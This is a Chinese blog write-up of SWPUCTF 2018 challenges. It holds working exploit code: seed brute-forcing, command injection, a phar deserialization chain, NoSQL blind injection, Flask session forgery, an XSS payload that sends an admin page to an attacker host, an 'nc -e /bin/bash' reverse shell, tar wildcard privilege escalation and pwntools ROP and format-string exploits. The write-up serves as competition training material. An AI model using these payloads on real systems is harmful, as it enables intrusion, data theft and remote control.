kir[A]'s 小黑屋

swpuctf2018

字数统计: 3.6k阅读时长: 18 min
2018/12/20 280 Share

swpu2018

年底忙成狗,没什么时间,花了两个晚上的时间,做了一下简单的题目,还有些题目后面继续补。

web

用优惠码 买个 X ?

注册一个账号,然后登陆,会弹出一个15位优惠码,在页面输入提醒优惠码为24位,扫描后发现源码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
//生成优惠码
$_SESSION['seed']=rand(0,999999999);
function youhuima(){
mt_srand($_SESSION['seed']);
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$auth='';
$len=15;
for ( $i = 0; $i < $len; $i++ ){
if($i<=($len/2))
$auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
else
$auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
}
setcookie('Auth', $auth);
}
//support
if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){
if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){
//执行命令
}else {
//flag字段和某些字符被过滤!
}
}else{
// 你的输入不正确!
}
?>

根据源码提示,需要爆破得到随机种子,然后生成24位优惠码,爆破脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
for($x=0;$x<999999999;$x++){
mt_srand($x);
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$auth='';
$len=15;
for ( $i = 0; $i < $len; $i++ ){
if($i<=($len/2))
$auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
else
$auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
}
if($auth == '4d1Sb0qX2fy1FBV'){
echo $x . "\n";
die();
}
}

这个效率太低,可以用php_mt_seed,首先将字符串还原为数字

1
2
3
4
5
6
7
8
9
10
11
12
13
str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
s = 'Lnnon15igXPrvif'
num = []
for i in range(15):
if (i<=(15/2)):
num.append(str_rand.index(s[i]))
else:
num.append(str_rand[::-1].index(s[i])+1)

cmd = './php_mt_seed '
for i in num[:]:
cmd += '{} {} 0 61 '.format(i,i)
print cmd
1
2
3
4
5
6
7
8
9
10
# kira @ k1r4 in ~/pwn/swpu/php_mt_seed-4.0 [10:10:38] C:130
$ ./php_mt_seed 47 47 0 61 13 13 0 61 13 13 0 61 14 14 0 61 13 13 0 61 27 27 0 61 31 31 0 61
Pattern: EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62
Version: 3.0.7 to 5.2.0
Found 0, trying 0xfc000000 - 0xffffffff, speed 511.8 Mseeds/s
Version: 5.2.1+
Found 0, trying 0x12000000 - 0x13ffffff, speed 40.4 Mseeds/s
seed = 0x13af8864 = 330270820 (PHP 7.1.0+)
Found 1, trying 0xfe000000 - 0xffffffff, speed 40.3 Mseeds/s
Found 1

然后根据随机数生成24位的验证码,即可到达命令执行的地方,虽然过滤了不少字符,不过很容易绕过

最后payload:

1
ip=0.0.0.0%0aca\t /fl\ag

SimplePHP

file.php可以看查看文件,得到php文件的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>

function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php 
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file;
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>

利用phar触发反序列化,触发过程如下:

  1. file_exists($file)触发phar反序列化
  2. 触发class C1e4r__destruct(),而函数中的echo $this->test;触发class Show中的__toString()
  3. $content = $this->str['str']->source;由于读取不可访问属性的值时,class Test__get() 会被调用。
  4. 最终调用$this->get($key)获取$this->params['source']的源码
1
2
3
4
5
6
7
8
9
10
11
$a = new Test();
$a->params['source']= '/var/www/html/f1ag.php';
$b = new Show();
$b->str['str'] = $a;
$f = new C1e4r($b);
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");//设置stub, 增加gif文件头,伪造文件类型
$phar->setMetadata($f); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();

Injection ???

扫描发现info.php发现是使用mangodb,那么可能就是Nosql注入

自动识别验证码+盲注脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# -*- coding: utf-8 -*-
import pytesseract
from PIL import Image
import requests
import string

s = requests.session()
def getvcode():
url1 = 'http://123.206.213.66:45678/vertify.php'
pic = s.get(url1)
p = open('123.png','wb')
p.write(pic.content)
p.close()
im = Image.open('123.png')
vcode = pytesseract.image_to_string(im)
return vcode

url2 = 'http://123.206.213.66:45678/check.php?username=admin&password[$regex]=^{}&vertify={}'
pwd = ''
# 'username or password incorrect!'
# 'wrong CAPTCHA!'
# 'Nice!But it is not the real passwd'

for _ in range(5):
for x in string.lowercase:
while 1:
vcode = getvcode()
check = s.get(url2.format(pwd+x,vcode))
print check.content
if 'wrong CAPTCHA!' in check.content:
continue
break
if 'Nice!' in check.content:
pwd += x
break
print pwd

皇家线上赌场

打开页面发现了弹窗,查看网页源码,发现了一个文件包含<script src="/static?file=test.js"></script>

测试发现可以成功读取http://107.167.188.241/static?file=/etc/passwd,题目提示是python3.5写的,需要找到web目录。

view-source:http://107.167.188.241/source发现了目录结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[root@localhost]# tree web
web/
├── app
│ ├── forms.py
│ ├── __init__.py
│ ├── models.py
│ ├── static
│ ├── templates
│ ├── utils.py
│ └── views.py
├── req.txt
├── run.py
├── server.log
├── start.sh
└── uwsgi.ini
[root@localhost]# cat views.py.bak
filename = request.args.get('file', 'test.js')
if filename.find('..') != -1:
return abort(403)
filename = os.path.join('app/static', filename)

/proc/self/cmdline 可以看到启动命令

1
uwsgi --uid=ctf uwsgi.ini

/proc/mounts 或者 /proc/self/maps 可以看到工作目录

1
/home/ctf/web_assli3fasdf

由于程序代码过滤<pre> if filename != '/home/ctf/web/app/static/test.js' and filename.find('/home/ctf/web/app') != -1: return abort(404) </pre>,不能直接读,不过用可以通过/proc/self/cwd绕过。

一个符号连接, 指向进程当前的工作目录. 例如, 要找出进程 20 的 cwd, 可以:cd /proc/20/cwd; /bin/pwd

view-source:http://107.167.188.241/static?file=/proc/self/cwd/app/views.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def register_views(app):
@app.before_request
def reset_account():
if request.path == '/signup' or request.path == '/login':
return
uname = username=session.get('username')
u = User.query.filter_by(username=uname).first()
if u:
g.u = u
g.flag = 'swpuctf{xxxxxxxxxxxxxx}'
if uname == 'admin':
return
now = int(time())
if (now - u.ts >= 600):
u.balance = 10000
u.count = 0
u.ts = now
u.save()
session['balance'] = 10000
session['count'] = 0

@app.route('/getflag', methods=('POST',))
@login_required
def getflag():
u = getattr(g, 'u')
if not u or u.balance < 1000000:
return '{"s": -1, "msg": "error"}'
field = request.form.get('field', 'username')
mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest()
jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
return jdata.format(field, g.u, mhash)

view-source:http://107.167.188.241/static?file=/proc/self/cwd/app/__init__.py

1
2
3
4
5
6
7
8
9
10
11
12
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from .views import register_views
from .models import db

def create_app():
app = Flask(__name__, static_folder='')
app.secret_key = '9f516783b42730b7888008dd5c15fe66'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/test.db'
register_views(app)
db.init_app(app)
return app

有了secret_key,首先想到是伪造admin的session

1
2
3
4
5
6
7
X:\tmp
> py -3 session_cookie_manager.py decode -s "9f516783b42730b7888008dd5c15fe66" -c ".eJwVzEEKgDAMBdG7_LVIKtpKLyNpmoCoFaquxLurs3qruZF45SKK6OirpQayX-VE_HVUm8590YKIToN3nklzkkTkLAw0ZjHz1MsYNJEO1mWPBtehtfD2TbHMlfG8O_kfGQ.XBscbw.pI4VrBhi7bb3o_V2_spFrWgysI0"
{'balance': 10000.0, 'count': 0, 'csrf_token': '2e7616a0edbcb001f7508dcff604c87eb0e5f2d6', 'username': 'kira'}

X:\tmp
> py -3 session_cookie_manager.py encode -s "9f516783b42730b7888008dd5c15fe66" -t "{'balance': 1000000.0, 'count': 1000000.0, 'csrf_token': '2e7616a0edbcb001f7508dcff604c87eb0e5f2d6', 'username': 'admin'}"
.eJxVzDsKw0AMRdG9vHoIGpP54M0EjUaC4FgGf6qQvdu4yy1Pcb9o_GEXxRjp7kEBshy-_8u22mtfJnWMGLTkmJm0N2lE0Uqi2sUs01Nq0UaabOgZAcemq_N87cF9fjt-J0JqIVo.XBsiEA.6lDWb7AENFiwelgWZW3hxz4SoFw

成功得到admin的session后,可以进入getflag(),留意这里有一个格式化字符串的漏洞,如何构造python继承链去读取g.flag

1
2
3
4
5
6
7
8
9
10
@app.route('/getflag', methods=('POST',))
@login_required
def getflag():
u = getattr(g, 'u')
if not u or u.balance < 1000000:
return '{"s": -1, "msg": "error"}'
field = request.form.get('field', 'username')
mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest()
jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
return jdata.format(field, g.u, mhash)

根据提示,user有save方法,一步一步往下找

1
2
3
4
"__class__.save":"<function User.save at 0x7f1b740ee048>"
"__class__.save.__globals__":"{..., 'db': <SQLAlchemy engine=sqlite:////tmp/test.db>, ..."
"__class__.save.__globals__[db]":"<SQLAlchemy engine=sqlite:////tmp/test.db>"
"__class__.save.__globals__[db].__class__.__init__.__globals__":"{..., 'current_app': <Flask 'app'>, ...}"

留意到有修饰器@app.before_request

1
"__class__.save.__globals__[db].__class__.__init__.__globals__[current_app].before_request.__globals__":"{..., 'g': <flask.g of 'app'>, ...}"

最终payload:

1
{"__class__.save.__globals__[db].__class__.__init__.__globals__[current_app].before_request.__globals__[g].flag":"swpuctf{tHl$_15_4_f14G}", "hash": "8bce7edc292f3211b97bc0a981c87135f0329681468bb6a3b487aaa23d8473fd"}

有趣的邮箱

在验证邮箱的页面源码有提示,同时有一个后台管理的页面,不过只允许localhost访问,那么很明显就是通过xss访问管理员的页面了

1
2
3
4
5
6
7
8
9
10
<?php
if($_POST['email']) {
$email = $_POST['email'];
if(!filter_var($email,FILTER_VALIDATE_EMAIL)){
echo "error email, please check your email";
}else{
echo "等待管理员自动审核";
echo $email;
}
}

首先需要绕过邮箱的过滤,可以直接用"<script/src=//x.x.x.x/123.js></script>"@qq.com绕过

先打一发admin的cookie:email="<script/src=//x.x.x.x:50004></script>"@qq.com

1
2
3
4
5
6
7
Referer: http://localhost:6324/admin/admin.php
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Connection: Keep-Alive
Host: x.x.x.x:50004
Accept: */*
Accept-Language: en-US,*
Accept-Encoding: gzip, deflate

然而并没有cookie,不过发现admin的页面链接,尝试读一下admin.php的页面源码,用xssrf-leak的脚本也可以

1
2
3
4
5
var a = new XMLHttpRequest();
a.open('GET', 'http://localhost:6324/admin/admin.php', false);
a.send(null);
b = a.responseText;
location.href = 'http://x.x.x.x:50004/?f=' + escape(b);

email="<script/src=//x.x.x.x:50005/evil></script>"@qq.com

返回结果如下,可以发现一个可以命令执行的链接

1
2
118.89.56.208 - - [20/Dec/2018 16:50:22] "GET / HTTP/1.1" 200 -
{'f': u'<br /><a href="admin/a0a.php?cmd=whoami">'}

反弹shell进行操作方便点

1
2
3
4
5
var a = new XMLHttpRequest();
a.open('GET', 'http://localhost:6324/admin/a0a.php?cmd=nc+-e+%2fbin%2fbash+x.x.x.x+20007', false);
a.send(null);
b = a.responseText;
location.href = 'http://x.x.x.x:50004/?f=' + escape(b);

在根目录发现flag,但是没有权限读

1
2
www-data@VM-48-87-debian:/$ ls -al
-r-------- 1 flag flag 36 Dec 18 18:14 flag

在web目录发现一个奇怪的文件夹

1
2
3
4
5
6
7
8
9
10
11
12
13
www-data@VM-48-87-debian:~/html/4f0a5ead5aef34138fcbf8cf00029e7b$ ls -al
ls -al
total 72
drwxr-xr-x 6 root root 4096 Dec 19 19:03 .
drwxr-xr-x 4 root root 4096 Dec 20 10:07 ..
-rw-r--r-- 1 root root 320 Dec 18 17:14 backup.php
drwxr-xr-x 2 root root 4096 Dec 13 19:25 css
drwxr-x--- 5 flag nginx 36864 Dec 20 19:59 files
drw-r--r-- 2 root root 4096 Dec 13 19:25 fonts
-rw-r--r-- 1 root root 4714 Dec 16 20:17 index.html
drwxr-xr-x 2 root root 4096 Dec 13 19:25 js
-rw------- 1 root root 0 Dec 19 19:03 nohup.out
-r--r----- 1 flag flag 707 Dec 18 17:13 upload.php

查看backup.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
include("upload.php");
echo "上传目录:" . $upload_dir . "<br />";
$sys = "tar -czf z.tar.gz *";
chdir($upload_dir);
system($sys);
if(file_exists('z.tar.gz')){
echo "上传目录下的所有文件备份成功!<br />";
echo "备份文件名: z.tar.gz";
}else{
echo "未上传文件,无法备份!";
}
?>

参考:利用通配符进行Linux本地提权

根据文章的操作方法,利用上传分别上传3个文件,文件为

1
2
3
--checkpoint=1
--checkpoint-action=exec=sh exp.sh
exp.sh #内容放需要执行的命令 cat /flag

上传完毕后进行一次备份即可执行命令。

pwn

exploit_1

看完伪代码,第一反应是利用C++异常处理的机制绕过canary,然而由于格式化字符串限制太少,导致这题出现各种非预期解。

预期解

首先用格式化字符串泄露heap地址和libc地址,然后输入-9223372036854775808绕过长度限制进行栈溢出,之后利用C++异常处理的机制绕过canary,并且将栈迁移到堆中进行ROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
p.sendlineafter('name:\n','%7$p|%12$p')
p.recvuntil('Hello ')
heap_addr = int(p.recvuntil('|',drop=True),16)
libc.address = int(p.recvuntil('please',drop=True)[-14:],16) - libc.sym['_IO_2_1_stdout_']

one_gadget = libc.address + 0x45216
pivot_addr = heap_addr + 0x20
unwind_addr = 0x400EC5

payload = flat('aaaaaaaa',one_gadget).ljust(0x410,'\x00')
payload += flat(pivot_addr,unwind_addr)
p.sendlineafter('motto:\n',"-9223372036854775808")
p.sendlineafter('motto:\n',payload)
p.interactive()

非预期1

这个方法最简单,既然有格式化字符串,直接泄露canary好了,还绕过啥,溢出直接组ROP

1
2
3
4
5
6
7
8
9
p.sendlineafter('name:\n','%15$p|%12$p') # Hello 0x7f4de5bb4620please 
p.recvuntil('Hello ')
canary = int(p.recvuntil('|',drop=True),16)
libc.address = int(p.recvuntil('please',drop=True)[-14:],16) - libc.sym['_IO_2_1_stdout_']

payload = 'a'*0x408 + p64(canary) + p64(0xdeadbeef) +p64(0x400fa3)+ p64(libc.search('/bin/sh').next())+p64(libc.sym['system'])
p.sendlineafter('motto:\n',"-9223372036854775808")
p.sendlineafter('motto:\n',payload)
p.interactive()

非预期2

这个方法只需用到格式字符串,连栈溢出都不需要,万一不知-9223372036854775808这个技巧,这个方法也是很好用的,就是麻烦点。思路就是修改free的got表为main函数,然后就是一个死循环,可以为所欲为,之后重新改回正确的free。可以修改free_hook来getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
def skip():
p.sendlineafter('motto:\n',"2")
p.sendlineafter('motto:\n',"2")

p.sendlineafter('name:\n','%147c%11$hhn%123c%12$hhn'+p64(elf.got['free'])+p64(elf.got['free']+1))
skip()

p.sendlineafter('name:\n','%12$p')
libc.address = int(p.recvuntil('please',drop=True)[-14:],16) - libc.sym['_IO_2_1_stdout_']
skip()

one_gadget = libc.address + 0x4526a
free_hook = libc.symbols['__free_hook']

X0 = one_gadget&0x000000ff
X1 = (one_gadget&0x0000ff00)>>8
X2 = (one_gadget&0x00ff0000)>>16
X3 = (one_gadget&0xff000000)>>24
X4 = (one_gadget&0xff00000000)>>32
X5 = (one_gadget&0xff0000000000)>>40

payload = '%{}c%11$hhn%{}c%12$hhn'.format(X0,(X1-X0)&0xff)
payload = payload.ljust(24,'a') + p64(free_hook) + p64(free_hook+1)
p.sendlineafter('name:\n',payload)
skip()

payload = '%{}c%11$hhn%{}c%12$hhn'.format(X2,(X3-X2)&0xff)
payload = payload.ljust(24,'a') + p64(free_hook+2) + p64(free_hook+3)
p.sendlineafter('name:\n',payload)
skip()

payload = '%{}c%11$hhn%{}c%12$hhn'.format(X4,(X5-X4)&0xff)
payload = payload.ljust(24,'a') + p64(free_hook+4) + p64(free_hook+5)
p.sendlineafter('name:\n',payload)
skip()

p.sendlineafter('name:\n','%214c%11$hhn%51c%12$hhn!'+p64(elf.got['free'])+p64(elf.got['free']+1))
skip()

p.interactive()

apk

基础android

apk里面有一个zip文件,其实是个jpg,修改后缀打开

android 2.0

关键算法在so里面,程序将15位输入分成3块,每块在进行一次简单的运算,直接逆一下就行了。

Misc

签到题

  1. 修改分辨率得到一部分flag
  2. 文件末位有另一部分flag

唯有低头,才能出头

举头望明月,低头… ,(看键盘)

1
99 9 9 88 5 66 3 3 666 33 88 3 6 555 9 11 4 33

1
looktheendkeyboard

流量签到

直接搜关键字

广告

各位大佬帮我薅羊毛啊

1
打开支付宝首页搜“575219”领红包,领到大红包的小伙伴赶紧使用哦!

CATALOG
  1. 1. swpu2018